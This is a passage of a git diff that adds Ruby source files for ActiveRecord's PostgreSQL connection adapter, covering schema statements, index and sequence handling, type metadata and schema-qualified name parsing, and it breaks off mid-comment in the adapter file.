+          args.each { |name| column(name, :tstzrange, options) }
+        end
+
+        def tsvector(*args, **options)
+          args.each { |name| column(name, :tsvector, options) }
+        end
+
+        def uuid(*args, **options)
+          args.each { |name| column(name, :uuid, options) }
+        end
+
+        def xml(*args, **options)
+          args.each { |name| column(name, :xml, options) }
+        end
+      end
+
+      class TableDefinition < ActiveRecord::ConnectionAdapters::TableDefinition
+        include ColumnMethods
+      end
+
+      class Table < ActiveRecord::ConnectionAdapters::Table
+        include ColumnMethods
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb
new file mode 100644
index 0000000000..12c6603081
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_dumper.rb
@@ -0,0 +1,45 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module ColumnDumper # :nodoc:
+        # Adds +:array+ option to the default set
+        def prepare_column_options(column)
+          spec = super
+          spec[:array] = "true" if column.array?
+          spec
+        end
+
+        # Adds +:array+ as a valid migration key
+        def migration_keys
+          super + [:array]
+        end
+
+        private
+
+          def default_primary_key?(column)
+            schema_type(column) == :bigserial
+          end
+
+          def explicit_primary_key_default?(column)
+            column.type == :uuid || (column.type == :integer && !column.serial?)
+          end
+
+          def schema_type(column)
+            return super unless column.serial?
+
+            if column.bigint?
+              :bigserial
+            else
+              :serial
+            end
+          end
+
+          def schema_expression(column)
+            super unless column.serial?
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
new file mode 100644
index 0000000000..780e642f21
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/schema_statements.rb
@@ -0,0 +1,670 @@
+# frozen_string_literal: true
+
+require "active_support/core_ext/string/strip"
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      module SchemaStatements
+        # Drops the database specified on the +name+ attribute
+        # and creates it again using the provided +options+.
+        def recreate_database(name, options = {}) #:nodoc:
+          drop_database(name)
+          create_database(name, options)
+        end
+
+        # Create a new PostgreSQL database. Options include <tt>:owner</tt>, <tt>:template</tt>,
+        # <tt>:encoding</tt> (defaults to utf8), <tt>:collation</tt>, <tt>:ctype</tt>,
+        # <tt>:tablespace</tt>, and <tt>:connection_limit</tt> (note that MySQL uses
+        # <tt>:charset</tt> while PostgreSQL uses <tt>:encoding</tt>).
+        #
+        # Example:
+        #   create_database config[:database], config
+        #   create_database 'foo_development', encoding: 'unicode'
+        def create_database(name, options = {})
+          options = { encoding: "utf8" }.merge!(options.symbolize_keys)
+
+          option_string = options.inject("") do |memo, (key, value)|
+            memo += case key
+                    when :owner
+                      " OWNER = \"#{value}\""
+                    when :template
+                      " TEMPLATE = \"#{value}\""
+                    when :encoding
+                      " ENCODING = '#{value}'"
+                    when :collation
+                      " LC_COLLATE = '#{value}'"
+                    when :ctype
+                      " LC_CTYPE = '#{value}'"
+                    when :tablespace
+                      " TABLESPACE = \"#{value}\""
+                    when :connection_limit
+                      " CONNECTION LIMIT = #{value}"
+            else
+                      ""
+            end
+          end
+
+          execute "CREATE DATABASE #{quote_table_name(name)}#{option_string}"
+        end
+
+        # Drops a PostgreSQL database.
+        #
+        # Example:
+        #   drop_database 'matt_development'
+        def drop_database(name) #:nodoc:
+          execute "DROP DATABASE IF EXISTS #{quote_table_name(name)}"
+        end
+
+        def drop_table(table_name, options = {}) # :nodoc:
+          execute "DROP TABLE#{' IF EXISTS' if options[:if_exists]} #{quote_table_name(table_name)}#{' CASCADE' if options[:force] == :cascade}"
+        end
+
+        # Returns true if schema exists.
+        def schema_exists?(name)
+          query_value("SELECT COUNT(*) FROM pg_namespace WHERE nspname = #{quote(name)}", "SCHEMA").to_i > 0
+        end
+
+        # Verifies existence of an index with a given name.
+        def index_name_exists?(table_name, index_name, default = nil)
+          unless default.nil?
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Passing default to #index_name_exists? is deprecated without replacement.
+            MSG
+          end
+          table = quoted_scope(table_name)
+          index = quoted_scope(index_name)
+
+          query_value(<<-SQL, "SCHEMA").to_i > 0
+            SELECT COUNT(*)
+            FROM pg_class t
+            INNER JOIN pg_index d ON t.oid = d.indrelid
+            INNER JOIN pg_class i ON d.indexrelid = i.oid
+            LEFT JOIN pg_namespace n ON n.oid = i.relnamespace
+            WHERE i.relkind = 'i'
+              AND i.relname = #{index[:name]}
+              AND t.relname = #{table[:name]}
+              AND n.nspname = #{index[:schema]}
+          SQL
+        end
+
+        # Returns an array of indexes for the given table.
+        def indexes(table_name, name = nil) # :nodoc:
+          if name
+            ActiveSupport::Deprecation.warn(<<-MSG.squish)
+              Passing name to #indexes is deprecated without replacement.
+            MSG
+          end
+
+          scope = quoted_scope(table_name)
+
+          result = query(<<-SQL, "SCHEMA")
+            SELECT distinct i.relname, d.indisunique, d.indkey, pg_get_indexdef(d.indexrelid), t.oid,
+                            pg_catalog.obj_description(i.oid, 'pg_class') AS comment,
+            (SELECT COUNT(*) FROM pg_opclass o
+               JOIN (SELECT unnest(string_to_array(d.indclass::text, ' '))::int oid) c
+                 ON o.oid = c.oid WHERE o.opcdefault = 'f')
+            FROM pg_class t
+            INNER JOIN pg_index d ON t.oid = d.indrelid
+            INNER JOIN pg_class i ON d.indexrelid = i.oid
+            LEFT JOIN pg_namespace n ON n.oid = i.relnamespace
+            WHERE i.relkind = 'i'
+              AND d.indisprimary = 'f'
+              AND t.relname = #{scope[:name]}
+              AND n.nspname = #{scope[:schema]}
+            ORDER BY i.relname
+          SQL
+
+          result.map do |row|
+            index_name = row[0]
+            unique = row[1]
+            indkey = row[2].split(" ").map(&:to_i)
+            inddef = row[3]
+            oid = row[4]
+            comment = row[5]
+            opclass = row[6]
+
+            using, expressions, where = inddef.scan(/ USING (\w+?) \((.+?)\)(?: WHERE (.+))?\z/).flatten
+
+            if indkey.include?(0) || opclass > 0
+              columns = expressions
+            else
+              columns = Hash[query(<<-SQL.strip_heredoc, "SCHEMA")].values_at(*indkey).compact
+                SELECT a.attnum, a.attname
+                FROM pg_attribute a
+                WHERE a.attrelid = #{oid}
+                AND a.attnum IN (#{indkey.join(",")})
+              SQL
+
+              # add info on sort order for columns (only desc order is explicitly specified, asc is the default)
+              orders = Hash[
+                expressions.scan(/(\w+) DESC/).flatten.map { |order_column| [order_column, :desc] }
+              ]
+            end
+
+            IndexDefinition.new(
+              table_name,
+              index_name,
+              unique,
+              columns,
+              orders: orders,
+              where: where,
+              using: using.to_sym,
+              comment: comment.presence
+            )
+          end
+        end
+
+        def table_options(table_name) # :nodoc:
+          if comment = table_comment(table_name)
+            { comment: comment }
+          end
+        end
+
+        # Returns a comment stored in database for given table
+        def table_comment(table_name) # :nodoc:
+          scope = quoted_scope(table_name, type: "BASE TABLE")
+          if scope[:name]
+            query_value(<<-SQL.strip_heredoc, "SCHEMA")
+              SELECT pg_catalog.obj_description(c.oid, 'pg_class')
+              FROM pg_catalog.pg_class c
+                LEFT JOIN pg_namespace n ON n.oid = c.relnamespace
+              WHERE c.relname = #{scope[:name]}
+                AND c.relkind IN (#{scope[:type]})
+                AND n.nspname = #{scope[:schema]}
+            SQL
+          end
+        end
+
+        # Returns the current database name.
+        def current_database
+          query_value("SELECT current_database()", "SCHEMA")
+        end
+
+        # Returns the current schema name.
+        def current_schema
+          query_value("SELECT current_schema", "SCHEMA")
+        end
+
+        # Returns the current database encoding format.
+        def encoding
+          query_value("SELECT pg_encoding_to_char(encoding) FROM pg_database WHERE datname = current_database()", "SCHEMA")
+        end
+
+        # Returns the current database collation.
+        def collation
+          query_value("SELECT datcollate FROM pg_database WHERE datname = current_database()", "SCHEMA")
+        end
+
+        # Returns the current database ctype.
+        def ctype
+          query_value("SELECT datctype FROM pg_database WHERE datname = current_database()", "SCHEMA")
+        end
+
+        # Returns an array of schema names.
+        def schema_names
+          query_values(<<-SQL, "SCHEMA")
+            SELECT nspname
+              FROM pg_namespace
+             WHERE nspname !~ '^pg_.*'
+               AND nspname NOT IN ('information_schema')
+             ORDER by nspname;
+          SQL
+        end
+
+        # Creates a schema for the given schema name.
+        def create_schema(schema_name)
+          execute "CREATE SCHEMA #{quote_schema_name(schema_name)}"
+        end
+
+        # Drops the schema for the given schema name.
+        def drop_schema(schema_name, options = {})
+          execute "DROP SCHEMA#{' IF EXISTS' if options[:if_exists]} #{quote_schema_name(schema_name)} CASCADE"
+        end
+
+        # Sets the schema search path to a string of comma-separated schema names.
+        # Names beginning with $ have to be quoted (e.g. $user => '$user').
+        # See: https://www.postgresql.org/docs/current/static/ddl-schemas.html
+        #
+        # This should be not be called manually but set in database.yml.
+        def schema_search_path=(schema_csv)
+          if schema_csv
+            execute("SET search_path TO #{schema_csv}", "SCHEMA")
+            @schema_search_path = schema_csv
+          end
+        end
+
+        # Returns the active schema search path.
+        def schema_search_path
+          @schema_search_path ||= query_value("SHOW search_path", "SCHEMA")
+        end
+
+        # Returns the current client message level.
+        def client_min_messages
+          query_value("SHOW client_min_messages", "SCHEMA")
+        end
+
+        # Set the client message level.
+        def client_min_messages=(level)
+          execute("SET client_min_messages TO '#{level}'", "SCHEMA")
+        end
+
+        # Returns the sequence name for a table's primary key or some other specified key.
+        def default_sequence_name(table_name, pk = "id") #:nodoc:
+          result = serial_sequence(table_name, pk)
+          return nil unless result
+          Utils.extract_schema_qualified_name(result).to_s
+        rescue ActiveRecord::StatementInvalid
+          PostgreSQL::Name.new(nil, "#{table_name}_#{pk}_seq").to_s
+        end
+
+        def serial_sequence(table, column)
+          query_value("SELECT pg_get_serial_sequence(#{quote(table)}, #{quote(column)})", "SCHEMA")
+        end
+
+        # Sets the sequence of a table's primary key to the specified value.
+        def set_pk_sequence!(table, value) #:nodoc:
+          pk, sequence = pk_and_sequence_for(table)
+
+          if pk
+            if sequence
+              quoted_sequence = quote_table_name(sequence)
+
+              query_value("SELECT setval(#{quote(quoted_sequence)}, #{value})", "SCHEMA")
+            else
+              @logger.warn "#{table} has primary key #{pk} with no default sequence." if @logger
+            end
+          end
+        end
+
+        # Resets the sequence of a table's primary key to the maximum value.
+        def reset_pk_sequence!(table, pk = nil, sequence = nil) #:nodoc:
+          unless pk && sequence
+            default_pk, default_sequence = pk_and_sequence_for(table)
+
+            pk ||= default_pk
+            sequence ||= default_sequence
+          end
+
+          if @logger && pk && !sequence
+            @logger.warn "#{table} has primary key #{pk} with no default sequence."
+          end
+
+          if pk && sequence
+            quoted_sequence = quote_table_name(sequence)
+            max_pk = query_value("SELECT MAX(#{quote_column_name pk}) FROM #{quote_table_name(table)}", "SCHEMA")
+            if max_pk.nil?
+              if postgresql_version >= 100000
+                minvalue = query_value("SELECT seqmin FROM pg_sequence WHERE seqrelid = #{quote(quoted_sequence)}::regclass", "SCHEMA")
+              else
+                minvalue = query_value("SELECT min_value FROM #{quoted_sequence}", "SCHEMA")
+              end
+            end
+
+            query_value("SELECT setval(#{quote(quoted_sequence)}, #{max_pk ? max_pk : minvalue}, #{max_pk ? true : false})", "SCHEMA")
+          end
+        end
+
+        # Returns a table's primary key and belonging sequence.
+        def pk_and_sequence_for(table) #:nodoc:
+          # First try looking for a sequence with a dependency on the
+          # given table's primary key.
+          result = query(<<-end_sql, "SCHEMA")[0]
+            SELECT attr.attname, nsp.nspname, seq.relname
+            FROM pg_class      seq,
+                 pg_attribute  attr,
+                 pg_depend     dep,
+                 pg_constraint cons,
+                 pg_namespace  nsp
+            WHERE seq.oid           = dep.objid
+              AND seq.relkind       = 'S'
+              AND attr.attrelid     = dep.refobjid
+              AND attr.attnum       = dep.refobjsubid
+              AND attr.attrelid     = cons.conrelid
+              AND attr.attnum       = cons.conkey[1]
+              AND seq.relnamespace  = nsp.oid
+              AND cons.contype      = 'p'
+              AND dep.classid       = 'pg_class'::regclass
+              AND dep.refobjid      = #{quote(quote_table_name(table))}::regclass
+          end_sql
+
+          if result.nil? || result.empty?
+            result = query(<<-end_sql, "SCHEMA")[0]
+              SELECT attr.attname, nsp.nspname,
+                CASE
+                  WHEN pg_get_expr(def.adbin, def.adrelid) !~* 'nextval' THEN NULL
+                  WHEN split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2) ~ '.' THEN
+                    substr(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2),
+                           strpos(split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2), '.')+1)
+                  ELSE split_part(pg_get_expr(def.adbin, def.adrelid), '''', 2)
+                END
+              FROM pg_class       t
+              JOIN pg_attribute   attr ON (t.oid = attrelid)
+              JOIN pg_attrdef     def  ON (adrelid = attrelid AND adnum = attnum)
+              JOIN pg_constraint  cons ON (conrelid = adrelid AND adnum = conkey[1])
+              JOIN pg_namespace   nsp  ON (t.relnamespace = nsp.oid)
+              WHERE t.oid = #{quote(quote_table_name(table))}::regclass
+                AND cons.contype = 'p'
+                AND pg_get_expr(def.adbin, def.adrelid) ~* 'nextval|uuid_generate'
+            end_sql
+          end
+
+          pk = result.shift
+          if result.last
+            [pk, PostgreSQL::Name.new(*result)]
+          else
+            [pk, nil]
+          end
+        rescue
+          nil
+        end
+
+        def primary_keys(table_name) # :nodoc:
+          query_values(<<-SQL.strip_heredoc, "SCHEMA")
+            SELECT a.attname
+              FROM (
+                     SELECT indrelid, indkey, generate_subscripts(indkey, 1) idx
+                       FROM pg_index
+                      WHERE indrelid = #{quote(quote_table_name(table_name))}::regclass
+                        AND indisprimary
+                   ) i
+              JOIN pg_attribute a
+                ON a.attrelid = i.indrelid
+               AND a.attnum = i.indkey[i.idx]
+             ORDER BY i.idx
+          SQL
+        end
+
+        # Renames a table.
+        # Also renames a table's primary key sequence if the sequence name exists and
+        # matches the Active Record default.
+        #
+        # Example:
+        #   rename_table('octopuses', 'octopi')
+        def rename_table(table_name, new_name)
+          clear_cache!
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME TO #{quote_table_name(new_name)}"
+          pk, seq = pk_and_sequence_for(new_name)
+          if pk
+            idx = "#{table_name}_pkey"
+            new_idx = "#{new_name}_pkey"
+            execute "ALTER INDEX #{quote_table_name(idx)} RENAME TO #{quote_table_name(new_idx)}"
+            if seq && seq.identifier == "#{table_name}_#{pk}_seq"
+              new_seq = "#{new_name}_#{pk}_seq"
+              execute "ALTER TABLE #{seq.quoted} RENAME TO #{quote_table_name(new_seq)}"
+            end
+          end
+          rename_table_indexes(table_name, new_name)
+        end
+
+        def add_column(table_name, column_name, type, options = {}) #:nodoc:
+          clear_cache!
+          super
+          change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment)
+        end
+
+        def change_column(table_name, column_name, type, options = {}) #:nodoc:
+          clear_cache!
+          quoted_table_name = quote_table_name(table_name)
+          quoted_column_name = quote_column_name(column_name)
+          sql_type = type_to_sql(type, options)
+          sql = "ALTER TABLE #{quoted_table_name} ALTER COLUMN #{quoted_column_name} TYPE #{sql_type}".dup
+          if options[:collation]
+            sql << " COLLATE \"#{options[:collation]}\""
+          end
+          if options[:using]
+            sql << " USING #{options[:using]}"
+          elsif options[:cast_as]
+            cast_as_type = type_to_sql(options[:cast_as], options)
+            sql << " USING CAST(#{quoted_column_name} AS #{cast_as_type})"
+          end
+          execute sql
+
+          change_column_default(table_name, column_name, options[:default]) if options.key?(:default)
+          change_column_null(table_name, column_name, options[:null], options[:default]) if options.key?(:null)
+          change_column_comment(table_name, column_name, options[:comment]) if options.key?(:comment)
+        end
+
+        # Changes the default value of a table column.
+        def change_column_default(table_name, column_name, default_or_changes) # :nodoc:
+          clear_cache!
+          column = column_for(table_name, column_name)
+          return unless column
+
+          default = extract_new_default_value(default_or_changes)
+          alter_column_query = "ALTER TABLE #{quote_table_name(table_name)} ALTER COLUMN #{quote_column_name(column_name)} %s"
+          if default.nil?
+            # <tt>DEFAULT NULL</tt> results in the same behavior as <tt>DROP DEFAULT</tt>. However, PostgreSQL will
+            # cast the default to the columns type, which leaves us with a default like "default NULL::character varying".
+            execute alter_column_query % "DROP DEFAULT"
+          else
+            execute alter_column_query % "SET DEFAULT #{quote_default_expression(default, column)}"
+          end
+        end
+
+        def change_column_null(table_name, column_name, null, default = nil) #:nodoc:
+          clear_cache!
+          unless null || default.nil?
+            column = column_for(table_name, column_name)
+            execute("UPDATE #{quote_table_name(table_name)} SET #{quote_column_name(column_name)}=#{quote_default_expression(default, column)} WHERE #{quote_column_name(column_name)} IS NULL") if column
+          end
+          execute("ALTER TABLE #{quote_table_name(table_name)} ALTER #{quote_column_name(column_name)} #{null ? 'DROP' : 'SET'} NOT NULL")
+        end
+
+        # Adds comment for given table column or drops it if +comment+ is a +nil+
+        def change_column_comment(table_name, column_name, comment) # :nodoc:
+          clear_cache!
+          execute "COMMENT ON COLUMN #{quote_table_name(table_name)}.#{quote_column_name(column_name)} IS #{quote(comment)}"
+        end
+
+        # Adds comment for given table or drops it if +comment+ is a +nil+
+        def change_table_comment(table_name, comment) # :nodoc:
+          clear_cache!
+          execute "COMMENT ON TABLE #{quote_table_name(table_name)} IS #{quote(comment)}"
+        end
+
+        # Renames a column in a table.
+        def rename_column(table_name, column_name, new_column_name) #:nodoc:
+          clear_cache!
+          execute "ALTER TABLE #{quote_table_name(table_name)} RENAME COLUMN #{quote_column_name(column_name)} TO #{quote_column_name(new_column_name)}"
+          rename_column_indexes(table_name, column_name, new_column_name)
+        end
+
+        def add_index(table_name, column_name, options = {}) #:nodoc:
+          index_name, index_type, index_columns, index_options, index_algorithm, index_using, comment = add_index_options(table_name, column_name, options)
+          execute("CREATE #{index_type} INDEX #{index_algorithm} #{quote_column_name(index_name)} ON #{quote_table_name(table_name)} #{index_using} (#{index_columns})#{index_options}").tap do
+            execute "COMMENT ON INDEX #{quote_column_name(index_name)} IS #{quote(comment)}" if comment
+          end
+        end
+
+        def remove_index(table_name, options = {}) #:nodoc:
+          table = Utils.extract_schema_qualified_name(table_name.to_s)
+
+          if options.is_a?(Hash) && options.key?(:name)
+            provided_index = Utils.extract_schema_qualified_name(options[:name].to_s)
+
+            options[:name] = provided_index.identifier
+            table = PostgreSQL::Name.new(provided_index.schema, table.identifier) unless table.schema.present?
+
+            if provided_index.schema.present? && table.schema != provided_index.schema
+              raise ArgumentError.new("Index schema '#{provided_index.schema}' does not match table schema '#{table.schema}'")
+            end
+          end
+
+          index_to_remove = PostgreSQL::Name.new(table.schema, index_name_for_remove(table.to_s, options))
+          algorithm =
+            if options.is_a?(Hash) && options.key?(:algorithm)
+              index_algorithms.fetch(options[:algorithm]) do
+                raise ArgumentError.new("Algorithm must be one of the following: #{index_algorithms.keys.map(&:inspect).join(', ')}")
+              end
+            end
+          execute "DROP INDEX #{algorithm} #{quote_table_name(index_to_remove)}"
+        end
+
+        # Renames an index of a table. Raises error if length of new
+        # index name is greater than allowed limit.
+        def rename_index(table_name, old_name, new_name)
+          validate_index_length!(table_name, new_name)
+
+          execute "ALTER INDEX #{quote_column_name(old_name)} RENAME TO #{quote_table_name(new_name)}"
+        end
+
+        def foreign_keys(table_name)
+          scope = quoted_scope(table_name)
+          fk_info = exec_query(<<-SQL.strip_heredoc, "SCHEMA")
+            SELECT t2.oid::regclass::text AS to_table, a1.attname AS column, a2.attname AS primary_key, c.conname AS name, c.confupdtype AS on_update, c.confdeltype AS on_delete
+            FROM pg_constraint c
+            JOIN pg_class t1 ON c.conrelid = t1.oid
+            JOIN pg_class t2 ON c.confrelid = t2.oid
+            JOIN pg_attribute a1 ON a1.attnum = c.conkey[1] AND a1.attrelid = t1.oid
+            JOIN pg_attribute a2 ON a2.attnum = c.confkey[1] AND a2.attrelid = t2.oid
+            JOIN pg_namespace t3 ON c.connamespace = t3.oid
+            WHERE c.contype = 'f'
+              AND t1.relname = #{scope[:name]}
+              AND t3.nspname = #{scope[:schema]}
+            ORDER BY c.conname
+          SQL
+
+          fk_info.map do |row|
+            options = {
+              column: row["column"],
+              name: row["name"],
+              primary_key: row["primary_key"]
+            }
+
+            options[:on_delete] = extract_foreign_key_action(row["on_delete"])
+            options[:on_update] = extract_foreign_key_action(row["on_update"])
+
+            ForeignKeyDefinition.new(table_name, row["to_table"], options)
+          end
+        end
+
+        # Maps logical Rails types to PostgreSQL-specific data types.
+        def type_to_sql(type, limit: nil, precision: nil, scale: nil, array: nil, **) # :nodoc:
+          sql = \
+            case type.to_s
+            when "binary"
+              # PostgreSQL doesn't support limits on binary (bytea) columns.
+              # The hard limit is 1GB, because of a 32-bit size field, and TOAST.
+              case limit
+              when nil, 0..0x3fffffff; super(type)
+              else raise(ActiveRecordError, "No binary type has byte size #{limit}.")
+              end
+            when "text"
+              # PostgreSQL doesn't support limits on text columns.
+              # The hard limit is 1GB, according to section 8.3 in the manual.
+              case limit
+              when nil, 0..0x3fffffff; super(type)
+              else raise(ActiveRecordError, "The limit on text can be at most 1GB - 1byte.")
+              end
+            when "integer"
+              case limit
+              when 1, 2; "smallint"
+              when nil, 3, 4; "integer"
+              when 5..8; "bigint"
+              else raise(ActiveRecordError, "No integer type has byte size #{limit}. Use a numeric with scale 0 instead.")
+              end
+            else
+              super
+            end
+
+          sql = "#{sql}[]" if array && type != :primary_key
+          sql
+        end
+
+        # PostgreSQL requires the ORDER BY columns in the select list for distinct queries, and
+        # requires that the ORDER BY include the distinct column.
+        def columns_for_distinct(columns, orders) #:nodoc:
+          order_columns = orders.reject(&:blank?).map { |s|
+              # Convert Arel node to string
+              s = s.to_sql unless s.is_a?(String)
+              # Remove any ASC/DESC modifiers
+              s.gsub(/\s+(?:ASC|DESC)\b/i, "")
+               .gsub(/\s+NULLS\s+(?:FIRST|LAST)\b/i, "")
+            }.reject(&:blank?).map.with_index { |column, i| "#{column} AS alias_#{i}" }
+
+          [super, *order_columns].join(", ")
+        end
+
+        private
+          def schema_creation
+            PostgreSQL::SchemaCreation.new(self)
+          end
+
+          def create_table_definition(*args)
+            PostgreSQL::TableDefinition.new(*args)
+          end
+
+          def new_column_from_field(table_name, field)
+            column_name, type, default, notnull, oid, fmod, collation, comment = field
+            type_metadata = fetch_type_metadata(column_name, type, oid.to_i, fmod.to_i)
+            default_value = extract_value_from_default(default)
+            default_function = extract_default_function(default_value, default)
+
+            PostgreSQLColumn.new(
+              column_name,
+              default_value,
+              type_metadata,
+              !notnull,
+              table_name,
+              default_function,
+              collation,
+              comment: comment.presence
+            )
+          end
+
+          def fetch_type_metadata(column_name, sql_type, oid, fmod)
+            cast_type = get_oid_type(oid, fmod, column_name, sql_type)
+            simple_type = SqlTypeMetadata.new(
+              sql_type: sql_type,
+              type: cast_type.type,
+              limit: cast_type.limit,
+              precision: cast_type.precision,
+              scale: cast_type.scale,
+            )
+            PostgreSQLTypeMetadata.new(simple_type, oid: oid, fmod: fmod)
+          end
+
+          def extract_foreign_key_action(specifier)
+            case specifier
+            when "c"; :cascade
+            when "n"; :nullify
+            when "r"; :restrict
+            end
+          end
+
+          def data_source_sql(name = nil, type: nil)
+            scope = quoted_scope(name, type: type)
+            scope[:type] ||= "'r','v','m'" # (r)elation/table, (v)iew, (m)aterialized view
+
+            sql = "SELECT c.relname FROM pg_class c LEFT JOIN pg_namespace n ON n.oid = c.relnamespace".dup
+            sql << " WHERE n.nspname = #{scope[:schema]}"
+            sql << " AND c.relname = #{scope[:name]}" if scope[:name]
+            sql << " AND c.relkind IN (#{scope[:type]})"
+            sql
+          end
+
+          def quoted_scope(name = nil, type: nil)
+            schema, name = extract_schema_qualified_name(name)
+            type = \
+              case type
+              when "BASE TABLE"
+                "'r'"
+              when "VIEW"
+                "'v','m'"
+              end
+            scope = {}
+            scope[:schema] = schema ? quote(schema) : "ANY (current_schemas(false))"
+            scope[:name] = quote(name) if name
+            scope[:type] = type if type
+            scope
+          end
+
+          def extract_schema_qualified_name(string)
+            name = Utils.extract_schema_qualified_name(string.to_s)
+            [name.schema, name.identifier]
+          end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
new file mode 100644
index 0000000000..b252a76caa
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/type_metadata.rb
@@ -0,0 +1,39 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    class PostgreSQLTypeMetadata < DelegateClass(SqlTypeMetadata)
+      undef to_yaml if method_defined?(:to_yaml)
+
+      attr_reader :oid, :fmod, :array
+
+      def initialize(type_metadata, oid: nil, fmod: nil)
+        super(type_metadata)
+        @type_metadata = type_metadata
+        @oid = oid
+        @fmod = fmod
+        @array = /\[\]$/.match?(type_metadata.sql_type)
+      end
+
+      def sql_type
+        super.gsub(/\[\]$/, "".freeze)
+      end
+
+      def ==(other)
+        other.is_a?(PostgreSQLTypeMetadata) &&
+          attributes_for_hash == other.attributes_for_hash
+      end
+      alias eql? ==
+
+      def hash
+        attributes_for_hash.hash
+      end
+
+      protected
+
+        def attributes_for_hash
+          [self.class, @type_metadata, oid, fmod]
+        end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
new file mode 100644
index 0000000000..bfd300723d
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql/utils.rb
@@ -0,0 +1,81 @@
+# frozen_string_literal: true
+
+module ActiveRecord
+  module ConnectionAdapters
+    module PostgreSQL
+      # Value Object to hold a schema qualified name.
+      # This is usually the name of a PostgreSQL relation but it can also represent
+      # schema qualified type names. +schema+ and +identifier+ are unquoted to prevent
+      # double quoting.
+      class Name # :nodoc:
+        SEPARATOR = "."
+        attr_reader :schema, :identifier
+
+        def initialize(schema, identifier)
+          @schema, @identifier = unquote(schema), unquote(identifier)
+        end
+
+        def to_s
+          parts.join SEPARATOR
+        end
+
+        def quoted
+          if schema
+            PG::Connection.quote_ident(schema) << SEPARATOR << PG::Connection.quote_ident(identifier)
+          else
+            PG::Connection.quote_ident(identifier)
+          end
+        end
+
+        def ==(o)
+          o.class == self.class && o.parts == parts
+        end
+        alias_method :eql?, :==
+
+        def hash
+          parts.hash
+        end
+
+        protected
+
+          def parts
+            @parts ||= [@schema, @identifier].compact
+          end
+
+        private
+          def unquote(part)
+            if part && part.start_with?('"')
+              part[1..-2]
+            else
+              part
+            end
+          end
+      end
+
+      module Utils # :nodoc:
+        extend self
+
+        # Returns an instance of <tt>ActiveRecord::ConnectionAdapters::PostgreSQL::Name</tt>
+        # extracted from +string+.
+        # +schema+ is +nil+ if not specified in +string+.
+        # +schema+ and +identifier+ exclude surrounding quotes (regardless of whether provided in +string+)
+        # +string+ supports the range of schema/table references understood by PostgreSQL, for example:
+        #
+        # * <tt>table_name</tt>
+        # * <tt>"table.name"</tt>
+        # * <tt>schema_name.table_name</tt>
+        # * <tt>schema_name."table.name"</tt>
+        # * <tt>"schema_name".table_name</tt>
+        # * <tt>"schema.name"."table name"</tt>
+        def extract_schema_qualified_name(string)
+          schema, table = string.scan(/[^".\s]+|"[^"]*"/)
+          if table.nil?
+            table = schema
+            schema = nil
+          end
+          PostgreSQL::Name.new(schema, table)
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
new file mode 100644
index 0000000000..3b4439fc46
--- /dev/null
+++ b/activerecord/lib/active_record/connection_adapters/postgresql_adapter.rb
@@ -0,0 +1,852 @@
+# frozen_string_literal: true
+
+# Make sure we're using pg high enough for type casts and Ruby 2.2+ compatibility
+gem "pg", "~> 0.18"
+require "pg"
+
+require_relative "abstract_adapter"
+require_relative "statement_pool"
+require_relative "postgresql/column"
+require_relative "postgresql/database_statements"
+require_relative "postgresql/explain_pretty_printer"
+require_relative "postgresql/oid"
+require_relative "postgresql/quoting"
+require_relative "postgresql/referential_integrity"
+require_relative "postgresql/schema_creation"
+require_relative "postgresql/schema_definitions"
+require_relative "postgresql/schema_dumper"
+require_relative "postgresql/schema_statements"
+require_relative "postgresql/type_metadata"
+require_relative "postgresql/utils"
+
+module ActiveRecord
+  module ConnectionHandling # :nodoc:
+    # Establishes a connection to the database that's used by all Active Record objects
+    def postgresql_connection(config)
+      conn_params = config.symbolize_keys
+
+      conn_params.delete_if { |_, v| v.nil? }
+
+      # Map ActiveRecords param names to PGs.
+      conn_params[:user] = conn_params.delete(:username) if conn_params[:username]
+      conn_params[:dbname] = conn_params.delete(:database) if conn_params[:database]
+
+      # Forward only valid config params to PG::Connection.connect.
+      valid_conn_param_keys = PG::Connection.conndefaults_hash.keys + [:requiressl]
+      conn_params.slice!(*valid_conn_param_keys)
+
+      # The postgres drivers don't allow the creation of an unconnected PG::Connection object,
+      # so just pass a nil connection object for the time being.
+      ConnectionAdapters::PostgreSQLAdapter.new(nil, logger, conn_params, config)
+    end
+  end
+
+  module ConnectionAdapters
+    # The PostgreSQL adapter works with the native C (https://bitbucket.org/ged/ruby-pg) driver.
+    #
+    # Options:
+    #
+    # * <tt>:host</tt> - Defaults to a Unix-domain socket in /tmp. On machines without Unix-domain sockets,
+    #   the default is to connect to localhost.
+    # * <tt>:port</tt> - Defaults to 5432.
+    # * <tt>:username</tt> - Defaults to be the same as the operating system name of the user running the application.
+    # * <tt>:password</tt> - Password to be used if the server demands password authentication.
+    # * <tt>:database</tt> - Defaults to be the same as the user name.
+    # * <tt>:schema_search_path</tt> - An optional schema search path for the connection given
+    #   as a string of comma-separated schema names. This is backward-compatible with the <tt>:schema_order</tt> option.
+    # * <tt>:encoding</tt> - An optional client encoding that is used in a <tt>SET client_encoding TO
